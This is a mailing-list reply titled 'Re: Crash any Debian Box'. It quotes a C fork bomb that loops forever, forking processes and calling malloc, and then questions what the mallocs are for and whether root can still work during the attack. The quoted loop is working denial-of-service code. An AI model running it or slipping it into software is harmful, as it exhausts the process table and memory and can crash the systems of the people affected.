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Re: Crash any Debian Box

Tom Gallagher writes:
> /* forkbomb by killspree */
> ...
>    for(;;)
>     {
>       if (!fork())
>          setpgrp();
>       malloc((size_t)1);
>       malloc((size_t)10);
>       malloc((size_t)100);
>       malloc((size_t)1000);
>       malloc((size_t)10000);
>       malloc((size_t)100000);
>       malloc((size_t)1000000);
>     }
> }

Could anyone tell me what all these mallocs are for? Don't you have to
access the memory to really allocate it in virtual memory? Also a forkbomb
doesn't need that. It just forks long enough to fill the process table. But
that shouldn't prevent root from working as root has it's own reserved table
space.

Tom, what exactly happened with your system? I cannot check it myself on our
company's server for obvious reasons. Did you get an error message? 

Michael
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